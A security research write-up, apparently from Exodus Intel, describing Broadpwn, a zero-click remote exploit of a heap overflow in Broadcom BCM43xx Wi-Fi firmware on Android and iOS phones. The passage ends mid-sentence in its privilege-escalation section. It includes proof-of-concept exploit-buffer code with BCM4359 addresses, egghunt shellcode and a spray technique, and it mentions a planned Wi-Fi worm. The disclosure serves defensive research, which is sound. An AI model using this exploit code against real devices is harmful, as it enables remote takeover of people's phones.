Posted by Exodus Intel VRT Posted on July 26, 2017 Posted under exploitation, Vulnerabilities Comments Leave a Comment Broadpwn: Remotely Compromising Android and iOS via a Bug in Broadcom’s Wi-Fi Chipsets Author: Nitay Artenstein Introduction Fully remote exploits that allow for compromise of a target without any user interaction have become something of a myth in recent years. While some are occasionally still found against insecure and unpatched targets such as routers, various IoT devices or old versions of Windows, practically no remotely exploitable bugs that reliably bypass DEP and ASLR have been found on Android and iOS. In order to compromise these devices, attackers normally resort to browser bugs. The downside of this approach, from an attacker’s perspective, is that successful exploitation requires the victim to either click on an untrusted link or connect to an attacker’s network and actively browse to a non-HTTPS site. Paranoid users will be wary against doing either of these things. It is naive to assume that a well-funded attacker will accept these limitations. As modern operating systems become hardened, attackers are hard at work looking for new, powerful and inventive attack vectors. However, remote exploits are not a simple matter. Local attacks benefit from an extensive interaction with the targeted platform using interfaces such as syscalls or JavaScript, which allows the attacker to make assumptions about the target’s address space and memory state. Remote attackers, on the other hand, have a much more limited interaction with the target. In order for a remote attack to be successful, the bug on which it is based needs to allow the attacker to make as few assumptions as possible about the target’s state. This research is an attempt to demonstrate what such an attack, and such a bug, will look like. Broadpwn is a fully remote attack against Broadcom’s BCM43xx family of WiFi chipsets, which allows for code execution on the main application processor in both Android and iOS. It is based on an unusually powerful 0-day that allowed us to leverage it into a reliable, fully remote exploit. In this post, we will describe our thought process in choosing an attack surface suitable for developing a fully remote exploit, explain how we honed in on particular code regions in order to look for a bug that can be triggered without user interaction, and walk through the stages of developing this bug into a reliable, fully remote exploit. We will conclude with a bonus. During the early 2000s, self-propagating malware – or “worms” – were common. But the advent of DEP and ASLR largely killed off remote exploitation, and Conficker (2009) will be remembered as the last self-propagating network worm. We will revive this tradition by turning Broadpwn into the first WiFi worm for mobile devices, and the first public network worm in eight years. THE ATTACK SURFACE Two words make up an attacker’s worst nightmare when considering remote exploitation: DEP and ASLR. In order to leverage a bug into a full code execution primitive, some knowledge of the address space is needed. But with ASLR enabled, such knowledge is considerably more difficult to obtain, and sometimes requires a separate infoleak. And, generally speaking, infoleaks are harder to obtain on remote attack surfaces, since the target’s interaction with the attacker is limited. Over the past decade, hundreds of remote bugs have died miserable deaths due to DEP and ASLR. Security researchers who work with embedded systems don’t have such troubles. Routers, cameras, and various IoT devices typically have no security mitigation enabled. Smartphones are different: Android and iOS have had ASLR enabled from a relatively early stage [a]. But this definition is misleading, since it refers only to code running on the main application processor. A smartphone is a complex system. Which other processors exist in a phone? Most Android and iOS smartphones have two additional chips which are particularly interesting to us from a remote standpoint: the baseband and the WiFi chipset. The baseband is a fascinating and large attack surface, and it doubtlessly draws the attention of many attackers. However, attacking basebands is a difficult business, mainly due to fragmentation. The baseband market is currently going through a major shift: If, several years ago, Qualcomm were the unchallenged market leaders, today the market has split up into several competitors. Samsung’s Shannon modems are prevalent in most of the newer Samsungs; Intel’s Infineon chips have taken over Qualcomm as the baseband for iPhone 7 and above; and MediaTek’s chips are a popular choice for lower cost Androids. And to top it off, Qualcomm is still dominant in higher end non-Samsung Androids. WiFi chipsets are a different story: Here, Broadcom are still the dominant choice for most popular smartphones, including most Samsung Galaxy models, Nexus phones and iPhones. A peculiar detail makes the story even more interesting. On laptops and desktop computers, the WiFi chipset generally handles the PHY layer while the kernel driver is responsible for handling layer 3 and above. This is known as a SoftMAC implementation. On mobile devices, however, power considerations often cause the device designers to opt for a FullMAC WiFi implementation, where the WiFi chip is responsible for handling the PHY, MAC and MLME on its own, and hands the kernel driver data packets that are ready to be sent up. Which means, of course, that the chip handles considerable attacker-controlled input on its own. Another detail sealed our choice. Running some tests on Broadcom’s chips, we realised with joy that there was no ASLR and that the whole of RAM has RWX permissions – meaning that we can read, write and run code anywhere in memory. While the same holds partially true for Shannon and MediaTek basebands, Qualcomm basebands do support DEP and are therefore somewhat harder to exploit. Before we continue, it should be mentioned that a considerable drawback exists when attacking the WiFi chip. The amount of code running on WiFi chipsets is considerably smaller than code running on basebands, and the 802.11 family of protocols is significantly less complicated to implement than the nightmarish range of protocols that basebands have to implement, including GSM and LTE. On a BCM4359 WiFi SoC, we identified approximately 9,000 functions. On a Shannon baseband, there are above 80,000. That means that a reasonably determined effort at code auditing on Broadcom’s part has a good chance of closing off many exploitable bugs, making an attacker’s life much harder. Samsung would need to put in considerably more effort to arrive at the same result. THE BCM43XX FAMILY Broadcom’s WiFi chips are the dominant choice for the WiFi slot in high-end smartphones. In a non-exhaustive research, we’ve found that the following models use Broadcom WiFi chips: Samsung Galaxy from S3 through S8, inclusive2 All Samsung Notes3. Nexus 5, 6, 6X and 6P4 All iPhones after iPhone 5 The chip model range from BCM4339 for the oldest phones (notably Nexus 5) up to BCM4361 for the Samsung Galaxy S8. This research was carried out on both a Samsung Galaxy S5 (BCM4354) and a Samsung Galaxy S7 (BCM4359), with the main exploit development process taking place on the S7. Reverse engineering and debugging the chip’s firmware is made relatively simple by the fact that the unencrypted firmware binary is loaded into the chip’s RAM by the main OS every time after the chip is reset, so a simple search through the phone’s system will usually suffice to locate the Broadcom firmware. On Linux kernels, its path is usually defined in the config variable BCMDHD_FW_PATH. Another blessing is that there is no integrity check on the firmware, so it’s quite easy to patch the original firmware, add hooks that print debugging output or otherwise modify its behaviour, and modify the kernel to load our firmware instead. A lot of this research was carried out by placing hooks at the right places and observing the system’s behaviour (and more interestingly, its misbehaviour). All the BCM chips that we’ve observed run an ARM Cortex-R4 microcontroller. One of the system’s main quirks is that a large part of the code runs on the ROM, whose size is 900k. Patches, and additional functionality, are added to the RAM, also 900k in size. In order to facilitate patching, an extensive thunk table is used in RAM, and calls are made into that table at specific points during execution. Should a bug fix be issued, the thunk table could be changed to redirect to the newer code. In terms of architecture, it would be correct to look at the BCM43xx as a WiFi SoC, since two different chips handle packet processing. While the main processor, the Cortex-R4, handles the MAC and MLME layers before handing the received packets to the Linux kernel, a separate chip, using a proprietary Broadcom processor architecture, handles the 802.11 PHY layer. Another component of the SoC is the interface to the application processor: Older BCM chips used the slower SDIO connection, while BCM4358 and above use PCIe. The main ARM microcontroller in the WiFi SoC runs a mysterious proprietary RTOS known as HNDRTE. While HNDRTE is closed-source, there are several convenient places to obtain older versions of the source code. Previous researchers have mentioned the Linux brcmsmac driver, a driver for SoftMAC WiFi chips which handle only the PHY layer while letting the kernel do the rest. While this driver does contain source code which is also common to HNDRTE itself, we found that that most of the driver code which handles packet processing (and that’s where we intended to find bugs) was significantly different to the one found in the firmware, and therefore did not help us with reversing the interesting code areas. The most convenient resource we found was the source code for the VMG-1312, a forgotten router which also uses a Broadcom chipset. While the brcmsmac driver contains code which was open-sourced by Broadcom for use with Linux, the VMG-1312 contains proprietary Broadcom closed-source code, bearing the warning “This is UNPUBLISHED PROPRIETARY SOURCE CODE of Broadcom Corporation”. Apparently, the Broadcom code was published by mistake together with the rest of the VMG-1312 sources. The leaked code contains most of the key functions we find in the firmware blob, but it appears to be dated, and does not contain much of the processing code for the newer 802.11 protocols. Yet it was extremely useful during the course of this research, since the main packet handling functions have not changed much. By comparing the source code with the firmware, we were able to get a quick high-level view of the packet processing code section, which enabled us to hone in on interesting code areas and focus on the next stage: finding a suitable bug. FINDING THE RIGHT BUG By far, the biggest challenge in developing a fully remote attack is finding a suitable bug. In order to be useful, the right bug will need to meet all the following requirements: It will be triggered without requiring interaction on behalf of the victim It will not require us to make assumptions about the state of the system, since our ability to leak information is limited in a remote attack After successful exploitation, the bug will not leave the system in an unstable state Finding a bug that can be triggered without user interaction is a tall order. For example, CVE-2017-0561, which is a heap-overflow in Broadcom’s TDLS implementation discovered by Project Zero, still requires the attacker and the victim to be on the same WPA2 network. This means the attackers either need to trick the victim to connect to a WPA2 network that they control, or be able to connect to a legitimate WPA2 network which the victim is already on. So where can we find a more suitable bug? To answer that question, let’s look briefly at the 802.11 association process. The process begins with the client, called mobile station (STA) in 802.11 lingo, sending out Probe Request packets to look for nearby Access Points (APs) to connect to. The Probe Requests contain data rates supported by the STA, as well as 802.11 capabilities such as 802.11n or 802.11ac. They will also normally contain a list of preferred SSIDs that the STA has previously connected to. In the next phase, an AP that supports the advertised data rates will send a Probe Response containing data such as supported encryption types and 802.11 capabilities of the AP. After that, the STA and the AP will both send out Authentication Open Sequence packets, which are an obsolete leftover from the days WLAN networks were secured by WEP. In the last phase of the association process, a STA will send an Association Request to the AP it has chosen to connect to. This packet will include the chosen encryption type, as well as various other data about the STA. All the packet types in the above association sequence have the same structure: A basic 802.11 header, followed by a series of 802.11 Information Elements (IEs). The IEs are encoded using the well known TLV (Type-Length-Value) convention, with the first byte of the IE denoting the type of information, the second byte holding its length, and the next bytes hold the actual data. By parsing this data, both the AP and the STA get information about the requirements and capabilities of their counterpart in the association sequence. Any actual authentication, implemented using protocols such as WPA2, happens only after this association sequence. Since there are no real elements of authentication within the association sequence, it’s possible to impersonate any AP using its MAC address and SSID. The STA will only be able to know that the AP is fake during the later authentication phase. This makes any bug during the association sequence especially valuable. An attacker who finds a bug in the association process will be able to sniff the victim’s probe requests over the air, impersonate an AP that the STA is looking for, then trigger the bug without going through any authentication. When looking for the bug, we were assisted by the highly modular way in which Broadcom’s code handles the different protocols in the 802.11 family and the different functionalities of the firmware itself. The main relevant function in this case is wlc_attach_module, which abstracts each different protocol or functionality as a separate module. The names of the various initialization functions that wlc_attach_module calls are highly indicative. This is some sample code: prot_g = wlc_prot_g_attach(wlc); wlc->prot_g = prot_g; if (!prot_g) { goto fail; } prot_n = wlc_prot_n_attach(wlc); wlc->prot_n = prot_n; if (!prot_n) { goto fail; } ccx = wlc_ccx_attach(wlc); wlc->ccx = ccx; if (!ccx) { goto fail; } amsdu = wlc_amsdu_attach(wlc); wlc->amsdu = amsdu; if (!amsdu) { goto fail; } Each module initialization function then installs handlers which are called whenever a packet is received or generated. These callbacks are responsible for either parsing the contexts of a received packet which are relevant for a specific protocol, or generating the protocol-relevant data for an outgoing packet. We’re mostly interested in the latter, since this is the code which parses attacker-controlled data, so the relevant function here is wlc_iem_add_parse_fn, which has the following prototype: void wlc_iem_add_parse_fn(iem_info *iem, uint32 subtype_bitfield, uint32 iem_type, callback_fn_t fn, void *arg) The second and third arguments are particularly relevant here. subtype_bitfield is a bitfield containing the different packet subtypes (such as probe request, probe response, association request etc.) that the parser is relevant for. The third argument, iem_type, contains the IE type (covered earlier) that this parser is relevant for. wlc_iem_add_parse_fn is called by the various module initialization functions in wlc_module_attach. By writing some code to parse the arguments passed to it, we can make a list of the parsers being called for each phase of the association sequence. By narrowing our search down to this list, we can avoid looking for bugs in areas of the code which don’t interest us: areas which occur only after the user has completed the full association and authentication process with an AP. Any bug that we might find in those areas will fail to meet our most important criteria – the ability to be triggered without user interaction. Using the approach above, we became lucky quite soon. In fact, it took us time to realise how lucky. THE BUG Wireless Multimedia Extensions (WMM) are a Quality-of-Service (QoS) extension to the 802.11 standard, enabling the Access Point to prioritize traffic according to different Access Categories (ACs), such as voice, video or best effort. WMM is used, for instance, to insure optimal QoS for especially data-hungry applications such as VoIP or video streaming. During a client’s association process with an AP, the STA and AP both announce their WMM support level in an Information Element (IE) appended to the end of the Beacon, Probe Request, Probe Response, Association Request and Association Response packets. In our search for bugs in functions that parse association packets after being installed by wlc_iem_add_parse_fn, we stumbled upon the following function: void wlc_bss_parse_wme_ie(wlc_info *wlc, ie_parser_arg *arg) { unsigned int frame_type; wlc_bsscfg *cfg; bcm_tlv *ie; unsigned char *current_wmm_ie; int flags; frame_type = arg->frame_type; cfg = arg->bsscfg; ie = arg->ie; current_wmm_ie = cfg->current_wmm_ie; if ( frame_type == FC_REASSOC_REQ ) { ... <handle reassociation requests> ... } if ( frame_type == FC_ASSOC_RESP ) { ... if ( wlc->pub->_wme ) { if ( !(flags & 2) ) { ... if ( ie ) { ... cfg->flags |= 0x100u; memcpy(current_wmm_ie, ie->data, ie->len); In a classic bug, the program calls memcpy() in the last line without verifying that the buffer current_wmm_ie (our name) is large enough to hold the data of size ie->len. But it’s too early to call it a bug: let’s see where current_wmm_ie is allocated to figure out whether it really is possible to overflow. We can find the answer in the function which allocates the overflowed structure: wlc_bsscfg *wlc_bsscfg_malloc(wlc_info *wlc) { wlc_info *wlc; wlc_bss_info *current_bss; wlc_bss_info *target_bss; wlc_pm_st *pm; wmm_ie *current_wmm_ie; ... current_bss = wlc_calloc(0x124); wlc->current_bss = current_bss; if ( !current_bss ) { goto fail; } target_bss = wlc_calloc(0x124); wlc->target_bss = target_bss; if ( !target_bss ) { goto fail; } pm = wlc_calloc(0x78); wlc->pm = pm; if ( !pm ) { goto fail; } current_wmm_ie = wlc_calloc(0x2C); wlc->current_wmm_ie = current_wmm_ie; if ( !current_wmm_ie ) { goto fail; } As we can see in the last section, the current_wmm_ie buffer is allocated with a length of 0x2c (44) bytes, while the maximum size for an IE is 0xff (255) bytes. This means that we have a nice maximum overflow of 211 bytes. But an overflow would not necessarily get us very far. For example, CVE-2017-0561 (the TDLS bug) is hard to exploit because it only allows the attacker to overflow the size field of the next heap chunk, requiring complicated heap acrobatics in order to get a write primitive, all the while corrupting the state of the heap and making execution restoration more difficult. As far as we know, this bug could land us in the same bad situation. So let’s understand what exactly is being overflowed here. Given that the HNDRTE implementation of malloc() allocates chunks from the top of memory to the bottom, we can assume, by looking at the above code, that the wlc->pm struct will be allocated immediately following the wlc->current_wmm_ie struct which is the target of the overflow. To validate this assumption, let’s look at a hex dump of current_wmm_ie, which on the BCM4359 that we tested was always allocated at 0x1e7dfc: 00000000: 00 50 f2 02 01 01 00 00 03 a4 00 00 27 a4 00 00 .P..........'... 00000010: 42 43 5e 00 62 32 2f 00 00 00 00 00 00 00 00 00 BC^.b2/......... 00000020: c0 0b e0 05 0f 00 00 01 00 00 00 00 7a 00 00 00 ............z... 00000030: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 64 7a 1e 00 00 00 00 00 b4 7a 1e 00 00 00 00 00 dz.......z...... 00000050: 00 00 00 00 00 00 00 00 c8 00 00 00 c8 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 9c 81 1e 00 1c 81 1e 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000a0: 00 00 00 00 00 00 00 00 2a 01 00 00 00 c0 ca 84 ........*....... 000000b0: ba b9 06 01 0d 62 72 6f 61 64 70 77 6e 5f 74 65 .....broadpwn_te 000000c0: 73 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 st.............. 000000d0: 00 00 00 00 00 00 fb ff 23 00 0f 00 00 00 01 10 ........#....... 000000e0: 01 00 00 00 0c 00 00 00 82 84 8b 0c 12 96 18 24 ...............$ 000000f0: 30 48 60 6c 00 00 00 00 00 00 00 00 00 00 00 00 0H`l............ Looking at offset 0x2c, which is the end of current_wmm_ie, we can see the size of the next heap chunk, 0x7a – which is the exact size of the wlc->pm struct plus a two byte alignment. This validates our assumption, and means that our overflow always runs into wlc->pm, which is a struct of type wlc_pm_st. It’s worthwhile to note that the position of both current_wmm_ie and pm is completely deterministic given a firmware version. Since these structures are allocated early in the initialization process, they will always be positioned at the same addresses. This fortunately spares us the need for complicated heap feng-shui – we always overflow into the same address and the same structure. THE EXPLOIT Finding a bug was the easy part. Writing a reliable remote exploit is the hard part, and this is usually where a bug is found to be either unexploitable or so difficult to exploit as to be impractical. In our view, the main difficulty in writing a remote exploit is that some knowledge is needed about the address space of the attacked program. The other difficulty is that mistakes are often unforgivable: in a kernel remote exploit, for instance, any misstep will result in a kernel panic, immediately alerting the victim that something is wrong – especially if the crash is repeated several times. In Broadpwn, both of these difficulties are mitigated by two main lucky facts: First, the addresses of all the relevant structures and data that we will use during the exploit are consistent for a given firmware build, meaning that we do not need any knowledge of dynamic addresses – after testing the exploit once on a given firmware build, it will be consistently reproducible. Second, crashing the chip is not particularly noisy. The main indication in the user interface is the disappearance of the WiFi icon, and a temporary disruption of connectivity as the chip resets. This creates a situation where it’s possible to build a dictionary of addresses for a given firmware, then repeatedly launch the exploit until we have brute forced the correct set of addresses. A different, experimental solution, which does not require knowledge of any version-specific addresses, is given at the end of this section. Let’s first look at how we achieve a write primitive. The overflowed structure is of type wlc_pm_st, and handles power management states, including entering and leaving power-saving mode. The struct is defined as follows: typedef struct wlc_pm_st { uint8 PM; bool PM_override; mbool PMenabledModuleId; bool PMenabled; bool PMawakebcn; bool PMpending; bool priorPMstate; bool PSpoll; bool check_for_unaligned_tbtt; uint16 pspoll_prd; struct wl_timer *pspoll_timer; uint16 apsd_trigger_timeout; struct wl_timer *apsd_trigger_timer; bool apsd_sta_usp; bool WME_PM_blocked; uint16 pm2_rcv_percent; pm2rd_state_t pm2_rcv_state; uint16 pm2_rcv_time; uint pm2_sleep_ret_time; uint pm2_sleep_ret_time_left; uint pm2_last_wake_time; bool pm2_refresh_badiv; bool adv_ps_poll; bool send_pspoll_after_tx; wlc_hwtimer_to_t *pm2_rcv_timer; wlc_hwtimer_to_t *pm2_ret_timer; } wlc_pm_st_t; Four members of this struct are especially interesting to control from an exploitation viewpoint: pspoll_timer and apsd_trigger_timer of type wl_timer, and pm2_rcv_timer and pm2_ret_timer of type wlc_hwtimer_to_t. First let’s look at the latter. typedef struct _wlc_hwtimer_to { struct _wlc_hwtimer_to *next; uint timeout; hwtto_fn fun; void *arg; bool expired; } wlc_hwtimer_to_t; The function wlc_hwtimer_del_timeout is called after processing the packet and triggering the overflow, and receives pm2_ret_timer as an argument: void wlc_hwtimer_del_timeout(wlc_hwtimer_to *newto) { wlc_hwtimer_to *i; wlc_hwtimer_to *next; wlc_hwtimer_to *this; for ( i = &newto->gptimer->timer_list; ; i = i->next ) { this = i->next; if ( !i->next ) { break; } if ( this == newto ) { next = newto->next; if ( newto->next ) { next->timeout += newto->timeout; // write-4 primitive } i->next = next; this->fun = 0; return; } } } As can be seen from the code, by overwriting the value of newto and causing it to point to an attacker controlled location, the contents of the memory location pointed to by next->timeout can be incremented by the memory contents of newto->timeout. This amounts to a write-what-where primitive, with the limitation that the original contents of the overwritten memory location must be known. A less limited write primitive can be achieved through using the pspoll_timer member, of type struct wl_timer. This struct is handled by a callback function triggered regularly during the association process : int timer_func(struct wl_timer *t) { prev_cpsr = j_disable_irqs(); v3 = t->field_20; ... if ( v3 ) { v7 = t->field_18; v8 = &t->field_8; if ( &t->field_8 == v7 ) { ... } else { v9 = t->field_1c; v7->field_14 = v9; *(v9 + 16) = v7; if ( *v3 == v8 ) { v7->field_18 = v3; } } t->field_20 = 0; } j_restore_cpsr(prev_cpsr); return 0; } As can be seen towards the end of the function, we have a much more convenient write primitive here. Effectively, we can write the value we store in field_1c into an address we store in field_18. With this, we can write an arbitrary value into any memory address, without the limitations of the previous write primitive we found. The next question is how to leverage our write primitive into full code execution. For this, two approaches will be considered: one which requires us to know firmware memory addresses in advance (or to brute force those addresses by crashing the chip several times), and another method, more difficult to implement, which requires a minimum of that knowledge. We’ll look at the former approach first. To achieve a write primitive, we need to overwrite pspoll_timer with a memory address that we control. Since the addresses of both wlc->current_wmm_ie and wlc->ps are known and consistent for a given firmware build, and since we can fully overwrite their contents, we can clobber pspoll_timer to point anywhere within these objects. For the creation of a fake wl_timer object, the unused area between wlc->current_wmm_ie and wlc->ps is an ideal fit. Placing our fake timer object there, we’ll cause field_18 to point to an address we want to overwrite (minus an offset of 14) and have field_1c hold the contents we want to overwrite that memory with. After we trigger the overwrite, we only need to wait for the timer function to be called, and do our overwrite for us. The next stage is to determine which memory address do we want to overwrite. As can be seen in the above function, immediately after we trigger our overwrite, a call to j_restore_cpsr is made. This function basically does one thing: it refers to the function thunk table found in RAM (mentioned previously when we described HNDRTE and the BCM43xx architecture), pulls the address of restore_cpsr from the thunk table, and jumps to it. Therefore, by overwriting the index of restore_cpsr in the thunk table, we can cause our own function to be called immediately afterwards. This has the advantage of being portable, since both the starting address of the thunk table and the index of the pointer to restore_cpsr within it are consistent between firmware builds. We have now obtained control of the instruction pointer and have a fully controlled jump to an arbitrary memory address. This is made sweeter by the fact that there are no restrictions on memory permissions – the entire RAM memory is RWX, meaning we can execute code from the heap, the stack or wherever else we choose. But we still face a problem: finding a good location to place our shellcode is an issue. We can write the shellcode to the wlc->pm struct that we are overflowing, but this poses two difficulties: first, our space is limited by the fact that we only have an overwrite of 211 bytes. Second, the wlc->pm struct is constantly in use by other parts of the HNDRTE code, so placing our shellcode at the wrong place within the structure will cause the whole system to crash. After some trial and error, we realized that we had a tiny amount of space for our code: 12 bytes within the wlc->pm struct (the only place where overwriting data in the struct would not crash the system), and 32 bytes in an adjacent struct which held an SSID string (which we could freely overwrite). 44 bytes of code are not a particularly useful payload – we’ll need to find somewhere else to store our main payload. The normal way to solve such a problem in exploits is to look for a spray primitive: we’ll need a way to write the contents of large chunks of memory, giving us a convenient and predictable location to store our payload. While spray primitives can be an issue in remote exploits, since sometimes the remote code doesn’t give us a sufficient interface to write large chunks of memory, in this case it was easier than expected – in fact, we didn’t even need to go through the code to look for suitable allocation primitives. We just had to use common sense. Any WiFi implementation will need to handle many packets at any given time. For this, HNDRTE provides the implementation of a ring buffer common to the D11 chip and the main microcontroller. Packets arriving over PHY are repeatedly written to this buffer until it gets filled, and which point new packets are simply written to the beginning of the buffer and overwrite any existing data there. For us, this means that all we need to do is broadcast our payload over the air and over multiple channels. As the WiFi chip repeatedly scans for available APs (this is done every few seconds even when the chip is in power saving mode), the ring buffer gets filled with our payload – giving us the perfect place to jump to and enough space to store a reasonably sized payload. What we’ll do, therefore, is this: write a small stub of shellcode within wlc->pm, which saves the stack frame (so we can restore normal execution afterwards) and jumps to the next 32 bytes of shellcode which we store in the unused SSID string. This compact shellcode is nothing else than classic egghunting shellcode, which searches the ring buffer for a magic number which indicates the beginning of our payload, then jumps to it. So, time to look at the POC code. This is how the exploit buffer is crafted: u8 *generate_wmm_exploit_buf(u8 *eid, u8 *pos) { uint32_t curr_len = (uint32_t) (pos - eid); uint32_t overflow_size = sizeof(struct exploit_buf_4359); uint32_t p_patch = 0x16010C; // p_restore_cpsr uint32_t buf_base_4359 = 0x1e7e02; struct exploit_buf_4359 *buf = (struct exploit_buf_4359 *) pos; memset(pos, 0x0, overflow_size); memcpy(&buf->pm_st_field_40_shellcode_start_106, shellcode_start_bin, sizeof(shellcode_start_bin)); // Shellcode thunk buf->ssid.ssid[0] = 0x41; buf->ssid.ssid[1] = 0x41; buf->ssid.ssid[2] = 0x41; memcpy(&buf->ssid.ssid[3], egghunt_bin, sizeof(egghunt_bin)); buf->ssid.size = sizeof(egghunt_bin) + 3; buf->pm_st_field_10_pspoll_timer_58 = buf_base_4359 + offsetof(struct exploit_buf_4359, t_field_0_2); // Point pspoll timer to our fake timer object buf->pm_st_size_38 = 0x7a; buf->pm_st_field_18_apsd_trigger_timer_66 = 0x1e7ab4; buf->pm_st_field_28_82 = 0xc8; buf->pm_st_field_2c_86 = 0xc8; buf->pm_st_field_38_pm2_rcv_timer_98 = 0x1e819c; buf->pm_st_field_3c_pm2_ret_timer_102 = 0x1e811c; buf->pm_st_field_78_size_162 = 0x1a2; buf->bss_info_field_0_mac1_166 = 0x84cac000; buf->bss_info_field_4_mac2_170 = 0x106b9ba; buf->t_field_20_34 = 0x200000; buf->t_field_18_26 = p_patch - 0x14; // Point field_18 to the restore_cpsr thunk buf->t_field_1c_30 = buf_base_4359 + offsetof(struct exploit_buf_4359, pm_st_field_40_shellcode_start_106) + 1; // Write our shellcode address to the thunk curr_len += overflow_size; pos += overflow_size; return pos; } struct shellcode_ssid { unsigned char size; unsigned char ssid[31]; } STRUCT_PACKED; struct exploit_buf_4359 { uint16_t stub_0; uint32_t t_field_0_2; uint32_t t_field_4_6; uint32_t t_field_8_10; uint32_t t_field_c_14; uint32_t t_field_10_18; uint32_t t_field_14_22; uint32_t t_field_18_26; uint32_t t_field_1c_30; uint32_t t_field_20_34; uint32_t pm_st_size_38; uint32_t pm_st_field_0_42; uint32_t pm_st_field_4_46; uint32_t pm_st_field_8_50; uint32_t pm_st_field_c_54; uint32_t pm_st_field_10_pspoll_timer_58; uint32_t pm_st_field_14_62; uint32_t pm_st_field_18_apsd_trigger_timer_66; uint32_t pm_st_field_1c_70; uint32_t pm_st_field_20_74; uint32_t pm_st_field_24_78; uint32_t pm_st_field_28_82; uint32_t pm_st_field_2c_86; uint32_t pm_st_field_30_90; uint32_t pm_st_field_34_94; uint32_t pm_st_field_38_pm2_rcv_timer_98; uint32_t pm_st_field_3c_pm2_ret_timer_102; uint32_t pm_st_field_40_shellcode_start_106; uint32_t pm_st_field_44_110; uint32_t pm_st_field_48_114; uint32_t pm_st_field_4c_118; uint32_t pm_st_field_50_122; uint32_t pm_st_field_54_126; uint32_t pm_st_field_58_130; uint32_t pm_st_field_5c_134; uint32_t pm_st_field_60_egghunt_138; uint32_t pm_st_field_64_142; uint32_t pm_st_field_68_146; // <- End uint32_t pm_st_field_6c_150; uint32_t pm_st_field_70_154; uint32_t pm_st_field_74_158; uint32_t pm_st_field_78_size_162; uint32_t bss_info_field_0_mac1_166; uint32_t bss_info_field_4_mac2_170; struct shellcode_ssid ssid; } STRUCT_PACKED; And this is the shellcode which carries out the egghunt: __attribute__((naked)) voidshellcode_start(void) { asm("push {r0-r3,lr}\n" "bl egghunt\n" "pop {r0-r3,pc}\n"); } void egghunt(unsigned int cpsr) { unsigned int egghunt_start = RING_BUFFER_START; unsigned int *p = (unsigned int *) egghunt_start; void (*f)(unsigned int); loop: p++; if (*p != 0xc0deba5e) goto loop; f = (void (*)(unsigned int))(((unsigned char *) p) + 5); f(cpsr); return; } So we have a jump to our payload, but is that all we need to do? Remember that we have seriously corrupted the wlc->pm object, and the system will not remain stable for long if we leave it that way. Also recall that one of our main objectives is to avoid crashing the system – an exploit which gives an attacker transient control is of limited value. Therefore, before any further action, our payload needs to restore the wlc->pm object to its normal condition. Since all addresses in this object are consistent for a given firmware build, we can just copy these values back into the buffer and restore the object to a healthy state. Here’s an example for what an initial payload will look like: unsigned char overflow_orig[] = { 0x00, 0x00, 0x03, 0xA4, 0x00, 0x00, 0x27, 0xA4, 0x00, 0x00, 0x42, 0x43, 0x5E, 0x00, 0x62, 0x32, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x0B, 0xE0, 0x05, 0x0F, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x7A, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x7A, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0x7A, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC8, 0x00, 0x00, 0x00, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9C, 0x81, 0x1E, 0x00, 0x1C, 0x81, 0x1E, 0x00 }; void entry(unsigned int cpsr) { int i = 0; unsigned int *p_restore_cpsr = (unsigned int *) 0x16010C; *p_restore_cpsr = (unsigned int) restore_cpsr; printf("Payload triggered, restoring CPSR\n"); restore_cpsr(cpsr); printf("Restoring contents of wlc->pm struct\n"); memcpy((void *) (0x1e7e02), overflow_orig, sizeof(overflow_orig)); return; } At this stage, we have achieved our first and most important mission: we have reliable, consistent RCE against the BCM chip, and our control of the system is not transient – the chip does not crash following the exploit. At this point, the only way we will lose control of the chip is if the user turns off WiFi or if the chip crashes. THE EXPLOIT – SECOND APPROACH As we mentioned, there is still a problem with the above approach. For each firmware build, we’ll need to determine the correct memory addresses to be used in the exploit. And while those addresses are guaranteed to be consistent for a given build, we should still look for a way to avoid the hard work of compiling address tables for each firmware version. The main problem is that we need a predictable memory address whose contents we control, so we can overwrite the pspoll_timer pointer and redirect it to our fake timer object. The previous approach relied on the fact that the address of wlc->pm is consistent for a given firmware build. But there’s another buffer whose address we already know: the ring buffer. And in this case, there’s an added advantage: its beginning address seems to be the same across the board for a specific chip type, regardless of build or version number. For the BCM4359, the ring buffer’s beginning address is 0x221ec0. Therefore, if we ensure a packet we control will be written exactly to the beginning of the ring buffer, we can place our fake timer object there, and our payload immediately after it. Of course, making sure that our packet is put exactly at the beginning of the buffer is a serious challenge: We may be in an area with dozens of other APs and STAs, increasing the noise level and causing us to contend with many other packets. In order to win the contest for the desired spot in the ring buffer, we have set up a dozen Alfa wireless adapters, each broadcasting on a different channel. By causing them to simultaneously bombard the air with packets on all channels, we have reached a situation where we successfully grab the first slot in the ring buffer about 70% of the time. Of course, this result could radically change if we move to a more crowded WiFi environment. Once we grab the first slot, exploitation is simple: The fake timer object writes to the offset of p_restore_cpsr, overwriting it with the address of an offset within our packet in the first slot. This is where we will store our payload. Despite the difficulty of this approach and the fact that it requires additional gear, it still offers a powerful alternative to the previous exploitation approach, in that the second approach does not require knowledge of addresses within the system. THE NEXT STEP – PRIVILEGE ESCALATION After achieving stable code execution on the Broadcom chip, an attacker’s natural goal would be to escape the chip and escalate their privileges to code execution on the application processor. There are three main approaches to this problem: Find a bug in the Broadcom kernel driver that handles communication with the chip. The driver and chip communicate using a packet-based protocol, so an extensive attack surface on the kernel is exposed to the chip. This approach is difficult, since, unless a way to leak kernel memory is found, an attacker will not have enough knowledge about the kernel’s address space to carry out a successful exploit. Again, attacking the kernel is made more difficult by the fact that any mistake we make will crash the whole system, causing us to lose our foothold in the WiFi chip. Using PCIe to read and write directly to kernel memory. While 